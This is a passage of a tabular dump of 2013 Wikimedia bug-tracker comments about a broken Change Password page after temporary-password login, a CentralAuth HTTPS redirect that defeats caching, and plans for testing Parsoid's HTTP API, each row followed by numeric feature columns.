Problem is not solved, in my view.",,,1385146958,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.466666666666667,0.7333333333333333,"In www.mediawiki,org : Not solved


After changing the password, see URL

URL:

URL

Problem is not solved, in my view."
268509,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96994",,,1385136927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,"Change 96994 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268506,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96970",,,1385136549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.315789473684211,0.9473684210526315,"Change 96970 merged by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268502,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 had a related patch set uploaded by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96994",,,1385131027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.083333333333333,0.9583333333333334,"Change 96994 had a related patch set uploaded by MarkAHershberger:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268497,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","For the record, the cause of this bug is from Ia0a61e98fbff7 ( https://gerrit.wikimedia.org/r/93425), which introduced WebRequest::getProtocol as an instance method rather than the previous practice of always using WebRequest::detectProtocol, which is static.",,,1385123160,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,14.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,5.45945945945946,0.8108108108108109,"For the record, the cause of this bug is from Ia0a61e98fbff7 ( GERRIT_URL), which introduced WebRequest::getProtocol as an instance method rather than the previous practice of always using WebRequest::detectProtocol, which is static."
268491,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 had a related patch set uploaded by IAlex:
Fix login with temporary password with $wgSecureLogin = true

https://gerrit.wikimedia.org/r/96970",,,1385113056,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.625,0.9583333333333334,"Change 96970 had a related patch set uploaded by IAlex:
Fix login with temporary password with $wgSecureLogin = true

GERRIT_URL"
268484,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","screenshot of the page after successfully having entered the temp.password and 2x the new password:

+ http://i.imgur.com/IDNp8W4.png",,,1385102463,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.7894736842105265,0.8947368421052632,"screenshot of the page after successfully having entered the temp.password and 2x the new password:

+ URL"
268477,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #5)
> Is this still happening? I'm not able to reproduce it. Just to confirm,
> 
> * I enter my username and temp password, click login
> * I get the change password form. I'm not logged in. Old password is
> pre-filled.
> * I enter in a new password (twice), and click submit.
> * I'm taken back to Main_Page, and I'm logged in.
> 
> Am I missing a step?

Yes, certainly.
I still can reproduce my findings as in the first comment, and as confirmed by André in https://bugzilla.wikimedia.org/show_bug.cgi?id=57289#c3


Please reproduce step-by-step:


Scenario:

+ en.wikipedia.org as of 2013-11-22
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort
e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password
change after login with temporary password)
+ after a successful password change you will see

""Change Password"" (=page title)
""You must be logged in to access this page directly.""

URL is: 
""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""

This is *strictly* reproducible. Raising severity to ""major"" because it relates to a password issue, which could point to critical bug.",,,1385102235,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,2.6666666666666665,8.333333333333334,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.6666666666666667,0.6666666666666666,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,9.666666666666666,0.3333333333333333,2.6666666666666665,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,4.0,0.6666666666666666,1.3333333333333333,0.0,3.0,8.333333333333334,6.666666666666667,0.0,4.0,0.0,3.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.5294117647058822,0.6176470588235294,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, certainly.
I still can reproduce my findings as in the first comment, and as confirmed by André in URL


Please reproduce step-by-step:


Scenario:

+ en.wikipedia.org as of 2013-11-22
+ go to ""Reset Password"" page and trigger the I-forgot-my-passwort
e-mail-password mail
+ come back to the login page
+ enter the temporary password
+ you are now correctly asked to change your password (=mandatory password
change after login with temporary password)
+ after a successful password change you will see

""Change Password"" (=page title)
""You must be logged in to access this page directly.""

URL is: 
""URL

This is *strictly* reproducible. Raising severity to ""major"" because it relates to a password issue, which could point to critical bug."
268470,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Is this still happening? I'm not able to reproduce it. Just to confirm,

* I enter my username and temp password, click login
* I get the change password form. I'm not logged in. Old password is pre-filled.
* I enter in a new password (twice), and click submit.
* I'm taken back to Main_Page, and I'm logged in.

Am I missing a step?",,,1385092299,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,1.0,2.0,4.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0898876404494384,0.5617977528089888,"Is this still happening? I'm not able to reproduce it. Just to confirm,

* I enter my username and temp password, click login
* I get the change password form. I'm not logged in. Old password is pre-filled.
* I enter in a new password (twice), and click submit.
* I'm taken back to Main_Page, and I'm logged in.

Am I missing a step?"
268464,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","> Needed to log in once again. Meh.

just to say it very kindly again in case it has been overlooked:
> __perhaps_(!)_ the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 solves this, too.",,,1385071451,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8888888888888888,"QUOTE

just to say it very kindly again in case it has been overlooked:
QUOTE"
268457,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Thanks for taking the time to report this!

Confirming:

- logged out
- went to https://en.wikipedia.org/wiki/Special:PasswordReset
- enter username
- Get ""A password reset email has been sent.""
- Check mail
- Copy temp password
- In browser, click ""Log in"" in upper corner which now links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset
- Enter username and temp password
- Get ""Change password - You logged in with a temporary emailed code. To finish logging in, you must set a new password here:""

Result:
- ""Change password - You must be logged in to access this page directly.""
Needed to log in once again. Meh.",,,1385068639,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.5,4.5,10.0,0.0,2.0,1.5,0.0,0.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,2.5,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.5,1.5,12.5,0.0,1.0,4.5,0.0,0.0,0.5,0.0,8.0,0.0,0.0,0.0,2.5,10.0,2.0,0.0,5.0,0.0,2.5,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,3.30958842152872,0.6540027137042063,"Thanks for taking the time to report this!

Confirming:

- logged out
- went to URL
- enter username
- Get ""A password reset email has been sent.""
- Check mail
- Copy temp password
- In browser, click ""Log in"" in upper corner which now links to URL
- Enter username and temp password
- Get ""Change password - You logged in with a temporary emailed code. To finish logging in, you must set a new password here:""

Result:
- ""Change password - You must be logged in to access this page directly.""
Needed to log in once again. Meh."
268452,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","(In reply to comment #1)
> perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065
> solves
> this.
^wrong

I meant:

See 
https://bugzilla.wikimedia.org/show_bug.cgi?id=57098 SpecialPasswordReset when called does not obey an optional returnto parameter 

Perhaps the fix of 57098 also solves the present 57289.",,,1384945090,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,20.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,7.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.891304347826087,0.8043478260869565,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
^wrong

I meant:

See 
URL SpecialPasswordReset when called does not obey an optional returnto parameter 

Perhaps the fix of 57098 also solves the present 57289."
268447,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",perhaps the fix of https://bugzilla.wikimedia.org/show_bug.cgi?id=57065 solves this.,,,1384944944,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,perhaps the fix of URL solves this.
59223,CentralAuth $wgSecureLogin redirect is uncacheable,"The redirect added to CentralAuth in Ia1232ac39e8 is effectively uncacheable, since it depends on wfCanIPUseHTTPS(), which can't be varied on in Varnish. The change should probably be reverted. It's essential that /checkLoggedIn be cached if the backend request rate impact of CentralAuth is to be reduced.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1384824300,1385510323.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-qocaqbn25fk7kqu3ild7,task_description,resolved,True,c3,1,True,False,True,-85,True,0.0,0.0,0.0,4.0,1.0,8.0,4.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,14.0,8.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.561643835616438,0.7123287671232876,"The redirect added to CentralAuth in Ia1232ac39e8 is effectively uncacheable, since it depends on wfCanIPUseHTTPS(), which can't be varied on in Varnish. The change should probably be reverted. It's essential that /checkLoggedIn be cached if the backend request rate impact of CentralAuth is to be reduced.

--------------------------
**Version**: unspecified
**Severity**: normal"
264507,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 merged by jenkins-bot:
Remove https redirect from CentralAutoLogin

https://gerrit.wikimedia.org/r/96317",,,1385510312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c3,1,False,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.1875,1.0,"Change 96317 merged by jenkins-bot:
Remove https redirect from CentralAutoLogin

GERRIT_URL"
264503,CentralAuth $wgSecureLogin redirect is uncacheable,"As noted on the patch, that should have been a redundant check, so the AutoLogin piece should be cacheable with gerrit 96317.",,,1384891936,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.16,0.88,"As noted on the patch, that should have been a redundant check, so the AutoLogin piece should be cacheable with gerrit 96317."
264499,CentralAuth $wgSecureLogin redirect is uncacheable,"Change 96317 had a related patch set uploaded by CSteipp:
Remove https redirect from CentralAutoLogin

https://gerrit.wikimedia.org/r/96317",,,1384891744,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qocaqbn25fk7kqu3ild7,task_subcomment,,True,c3,1,False,,,-85,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2631578947368425,1.0,"Change 96317 had a related patch set uploaded by CSteipp:
Remove https redirect from CentralAutoLogin

GERRIT_URL"
58730,Develop unit tests for the HTTP API,"The current Parsoid unit tests (parserTests.js and friends) use Parsoid as a library directly. This means that the HTTP API code paths are not tested, leadig to issues like https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid .

We should develop some way of unit-testing all the HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56601",High,80.0,1383849960,1386109290.0,PHID-USER-56wtmb23orq4pu5liyj5,False,,False,PHID-TASK-kh2buy3dptmfowydkqjp,task_description,resolved,True,c3,1,False,False,True,-86,True,3.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,19.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,6.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8354430379746836,0.6835443037974683,"The current Parsoid unit tests (parserTests.js and friends) use Parsoid as a library directly. This means that the HTTP API code paths are not tested, leadig to issues like URL .

We should develop some way of unit-testing all the HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
260431,Develop unit tests for the HTTP API,"Resolving this as a duplicate of 56601, which is also about using the HTTP API from roundtrip-test.js.

*** This bug has been marked as a duplicate of bug 56601 ***",,,1386109290,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-kh2buy3dptmfowydkqjp,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,3.675675675675676,0.7027027027027027,"Resolving this as a duplicate of 56601, which is also about using the HTTP API from roundtrip-test.js.

*** This bug has been marked as a duplicate of bug 56601 ***"
58590,Use the HTTP API in round-trip testing,"Parsoid currently tests parsing and serialiation of content. Currently, testing of the HTTP API wrappers and any issues with libraries and bugs in the endpoints relies on manual testing.

Gaps in manual testing can lead to incidents like this: https://wikitech.wikimedia.org/wiki/Incident_documentation/20131104-Parsoid

So, we need an automated test setup for our HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1383604620,1387828127.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-cfhd53wpntcxcbt4smwr,task_description,resolved,True,c3,1,False,False,True,-87,True,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,12.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.294871794871795,0.6666666666666666,"Parsoid currently tests parsing and serialiation of content. Currently, testing of the HTTP API wrappers and any issues with libraries and bugs in the endpoints relies on manual testing.

Gaps in manual testing can lead to incidents like this: URL

So, we need an automated test setup for our HTTP API endpoints.

--------------------------
**Version**: unspecified
**Severity**: normal"
278506,Use the HTTP API in round-trip testing,"Change 102011 merged by jenkins-bot:
Bug 56590: Use the Parsoid HTTP API in round-trip testing

